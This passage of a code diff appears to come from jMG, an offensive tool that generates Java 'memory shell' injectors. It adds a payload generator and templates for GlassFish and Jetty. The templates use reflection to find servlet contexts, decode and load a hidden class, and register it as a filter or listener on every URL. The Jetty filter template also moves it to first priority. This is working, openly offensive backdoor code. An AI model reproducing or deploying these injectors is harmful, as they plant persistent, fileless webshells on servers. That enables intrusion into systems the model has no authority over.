+import jmg.core.config.Constants;
+import jmg.core.format.*;
+
+public class jMGCodeApi {
+    AbstractConfig config;
+
+    public jMGCodeApi(AbstractConfig config) {
+        this.config = config;
+    }
+
+    public byte[] generate() throws Throwable {
+        byte[] clazzBytes;
+        if (config.isEnabledExtender()) {
+            clazzBytes = config.getExtenderBytes();
+        } else {
+            clazzBytes = config.getInjectorBytes();
+        }
+        if (clazzBytes == null) {
+            return null;
+        }
+
+        // 格式转换
+        byte[] bytes = null;
+        switch (config.getOutputFormat()) {
+            case Constants.FORMAT_BCEL:
+                bytes = new BCELFormater().transform(clazzBytes, config);
+                break;
+            case Constants.FORMAT_JSP:
+                bytes = new JSPFormater().transform(clazzBytes, config);
+                break;
+            case Constants.FORMAT_JAR:
+                bytes = new JARFormater().transform(clazzBytes, config);
+                break;
+            case Constants.FORMAT_JAR_AGENT:
+                bytes = new JARAgentFormater().transform(clazzBytes, config);
+                break;
+            case Constants.FORMAT_JS:
+                bytes = new JavaScriptFormater().transform(clazzBytes, config);
+                break;
+            case Constants.FORMAT_BASE64:
+                bytes = new BASE64Formater().transform(clazzBytes, config);
+                break;
+            case Constants.FORMAT_BIGINTEGER:
+                bytes = new BigIntegerFormater().transform(clazzBytes, config);
+                break;
+            default:
+                bytes = clazzBytes;
+                break;
+        }
+        return bytes;
+    }
+}

jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java

@@ -0,0 +1,208 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+public class GlassFishFilterInjectorTpl {
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new GlassFishFilterInjectorTpl();
+    }
+
+    public GlassFishFilterInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getFilter(context);
+                addFilter(context, filter);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        try {
+            for (Thread thread : threads) {
+                if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                    HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
+                    for (Object key : childrenMap.keySet()) {
+                        HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
+                        for (Object key1 : children.keySet()) {
+                            Object context = children.get(key1);
+                            if (context != null) contexts.add(context);
+                        }
+                    }
+                }
+            }
+        } catch (Exception ignored) {
+        }
+        return contexts;
+    }
+
+    private Object getFilter(Object context) throws Exception {
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = clazz.newInstance();
+            } catch (Exception ignored) {
+            }
+
+        }
+        return filter;
+    }
+
+    public void addFilter(Object context, Object filter) throws Exception {
+        String filterName = getSimpleName(getClassName());
+        try {
+            Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
+            Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
+            invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+            invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
+            invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
+            invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+            invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
+            Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
+            constructors[0].setAccessible(true);
+            Object filterConfig = constructors[0].newInstance(context, filterDef);
+            HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFV(context, "filterConfigs");
+            filterConfigs.put(filterName, filterConfig);
+
+        } catch (Exception e) {
+        }
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static String getSimpleName(String className) {
+        int lastDotIndex = className.lastIndexOf(".");
+        if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
+            return className.substring(lastDotIndex + 1);
+        }
+        return className;
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/GlassFishListenerInjectorTpl.java

@@ -0,0 +1,193 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.EventListener;
+import java.util.HashMap;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+
+public class GlassFishListenerInjectorTpl {
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new GlassFishListenerInjectorTpl();
+    }
+
+    public GlassFishListenerInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getListener(context);
+                addListener(context, listener);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        try {
+            for (Thread thread : threads) {
+                if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                    HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
+                    for (Object key : childrenMap.keySet()) {
+                        HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
+                        for (Object key1 : children.keySet()) {
+                            Object context = children.get(key1);
+                            if (context != null) contexts.add(context);
+                        }
+                    }
+                }
+            }
+        } catch (Exception ignored) {
+        }
+        return contexts;
+    }
+
+    private Object getListener(Object context) throws Exception {
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Exception ignored) {
+            }
+
+        }
+        return listener;
+    }
+
+    public void addListener(Object context, Object listener) throws Exception {
+        try {
+            List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners");
+            boolean isExist = false;
+            for (EventListener eventListener : eventListeners) {
+                if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
+                    isExist = true;
+                    break;
+                }
+            }
+            if (!isExist) {
+                eventListeners.add((EventListener) listener);
+            }
+        } catch (Exception e) {
+        }
+    }
+
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/JettyFilterInjectorTpl.java

@@ -0,0 +1,297 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.lang.reflect.*;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * tested v8、v9
+ */
+
+public class JettyFilterInjectorTpl {
+
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new JettyFilterInjectorTpl();
+    }
+
+    public JettyFilterInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getFilter(context);
+                addFilter(context, filter);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+    public String getFilterName(String className) {
+        if (className.contains(".")) {
+            int lastDotIndex = className.lastIndexOf(".");
+            return className.substring(lastDotIndex + 1);
+        } else {
+            return className;
+        }
+    }
+
+    public void addFilter(Object context, Object magicFilter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, UnsupportedEncodingException {
+        String filterName = getFilterName(getClassName());
+
+        Class filterClass = magicFilter.getClass();
+        try {
+            Object servletHandler = getFV(context, "_servletHandler");
+
+            // 1. 判断是否已经注入
+            if (isInjected(servletHandler, filterClass.getName())) {
+                return;
+            }
+
+            Class filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
+            Constructor constructor = filterHolderClass.getConstructor(Class.class);
+            Object filterHolder = constructor.newInstance(filterClass);
+            invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{filterName});
+
+
+            // 2. 注入内存马Filter
+            invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
+            // 3. 修改Filter的优先级为第一位
+            Object filterMaps = getFV(servletHandler, "_filterMappings");
+            Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
+            int n = 1;
+            for (int i = 0; i < Array.getLength(filterMaps); i++) {
+                Object filter = Array.get(filterMaps, i);
+                String _filterName = (String) getFV(filter, "_filterName");
+                if (_filterName.contains(filterClass.getName())) {
+                    tmpFilterMaps[0] = filter;
+                } else {
+                    tmpFilterMaps[n] = filter;
+                    n++;
+                }
+            }
+            for (int j = 0; j < tmpFilterMaps.length; j++) {
+                Array.set(filterMaps, j, tmpFilterMaps[j]);
+            }
+
+            // 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题
+            invokeMethod(servletHandler, "invalidateChainsCache");
+
+        } catch (Exception ignored) {
+        }
+    }
+
+    List<Object> getContext() {
+        List<Object> contexts = new ArrayList();
+        Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
+        for (Thread thread : threads) {
+            try {
+                Object contextClassLoader = getContextClassLoader(thread);
+                if (isWebAppClassLoader(contextClassLoader)) {
+                    contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
+                } else if (isHttpConnection(thread)) {
+                    contexts.add(getContextFromHttpConnection(thread));
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    private Object getContextClassLoader(Thread thread) throws Exception {
+        return invokeMethod(thread, "getContextClassLoader");
+    }
+
+    private boolean isWebAppClassLoader(Object classLoader) {
+        return classLoader.getClass().getName().contains("WebAppClassLoader");
+    }
+
+    private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
+        Object context = getFV(classLoader, "_context");
+        Object handler = getFV(context, "_servletHandler");
+        return getFV(handler, "_contextHandler");
+    }
+
+    private boolean isHttpConnection(Thread thread) throws Exception {
+        Object threadLocals = getFV(thread, "threadLocals");
+        Object table = getFV(threadLocals, "table");
+        for (int i = 0; i < Array.getLength(table); ++i) {
+            Object entry = Array.get(table, i);
+            if (entry != null) {
+                Object httpConnection = getFV(entry, "value");
+                if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    private Object getContextFromHttpConnection(Thread thread) throws Exception {
+        Object threadLocals = getFV(thread, "threadLocals");
+        Object table = getFV(threadLocals, "table");
+        for (int i = 0; i < Array.getLength(table); ++i) {
+            Object entry = Array.get(table, i);
+            if (entry != null) {
+                Object httpConnection = getFV(entry, "value");
+                if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
+                    Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
+                    Object request = invokeMethod(httpChannel, "getRequest");
+                    Object session = invokeMethod(request, "getSession");
+                    Object servletContext = invokeMethod(session, "getServletContext");
+                    return getFV(servletContext, "this$0");
+                }
+            }
+        }
+        throw new Exception("HttpConnection not found");
+    }
+
+
+    private Object getFilter(Object context) {
+
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = clazz.newInstance();
+            } catch (Exception e1) {
+                e1.printStackTrace();
+            }
+        }
+        return filter;
+    }
+
+    public static boolean isInjected(Object servletHandler, String filterClassName) throws Exception {
+        try {
+            Object filterMaps = getFV(servletHandler, "_filterMappings");
+            for (int i = 0; i < Array.getLength(filterMaps); i++) {
+                Object filter = Array.get(filterMaps, i);
+                String filterName = (String) getFV(filter, "_filterName");
+                if (filterName.contains(filterClassName)) {
+                    return true;
+                }
+            }
+        } catch (Exception e) {
+            return false;
+        }
+        return false;
+    }
+
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/JettyListenerInjectorTpl.java

@@ -0,0 +1,251 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.EventListener;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * tested v7、v8、v9
+ */
+public class JettyListenerInjectorTpl {
+
+        public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+}
+
+    static {
+        new JettyListenerInjectorTpl();
+    }
+
+
+    public JettyListenerInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getListener(context);
+                addListener(context, listener);
+            }
+        } catch (Exception e) {
+
+        }
+
+    }
+
+    List<Object> getContext() {
+        List<Object> contexts = new ArrayList();
+        Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
+        for (Thread thread : threads) {
+            try {
+                Object contextClassLoader = getContextClassLoader(thread);
+                if (isWebAppClassLoader(contextClassLoader)) {
+                    contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
+                } else if (isHttpConnection(thread)) {
+                    contexts.add(getContextFromHttpConnection(thread));
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    private Object getContextClassLoader(Thread thread) throws Exception {
+        return invokeMethod(thread, "getContextClassLoader");
+    }
+
+    private boolean isWebAppClassLoader(Object classLoader) {
+        return classLoader.getClass().getName().contains("WebAppClassLoader");
+    }
+
+    private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
+        Object context = getFV(classLoader, "_context");
+        Object handler = getFV(context, "_servletHandler");
+        return getFV(handler, "_contextHandler");
+    }
+
+    private boolean isHttpConnection(Thread thread) throws Exception {
+        Object threadLocals = getFV(thread, "threadLocals");
+        Object table = getFV(threadLocals, "table");
+        for (int i = 0; i < Array.getLength(table); ++i) {
+            Object entry = Array.get(table, i);
+            if (entry != null) {
+                Object httpConnection = getFV(entry, "value");
+                if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    private Object getContextFromHttpConnection(Thread thread) throws Exception {
+        Object threadLocals = getFV(thread, "threadLocals");
+        Object table = getFV(threadLocals, "table");
+        for (int i = 0; i < Array.getLength(table); ++i) {
+            Object entry = Array.get(table, i);
+            if (entry != null) {
+                Object httpConnection = getFV(entry, "value");
+                if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
+                    Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
+                    Object request = invokeMethod(httpChannel, "getRequest");
+                    Object session = invokeMethod(request, "getSession");
+                    Object servletContext = invokeMethod(session, "getServletContext");
+                    return getFV(servletContext, "this$0");
+                }
+            }
+        }
+        throw new Exception("HttpConnection not found");
+    }
+
+
+    private Object getListener(Object context) {
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return listener;
+    }
+
+    public static void addListener(Object context, Object listener) {
+        try {
+            if (isInjected(context, listener.getClass().getName())) {
+                return;
+            }
+
+            invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
+        } catch (Exception e) {
+        }
+    }
+
+
+    public static boolean isInjected(Object context, String className) throws Exception {
+
+        try {
+            // jetty v8、 v9
+            EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners");
+            for (int i = 0; i < eventListeners.length; i++) {
+                if (eventListeners[i].getClass().getName().contains(className)) {
+                    return true;
+                }
+            }
+        } catch (Exception e) {
+        }
+
+        return false;
+    }
+
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/ResinFilterInjectorTpl.java

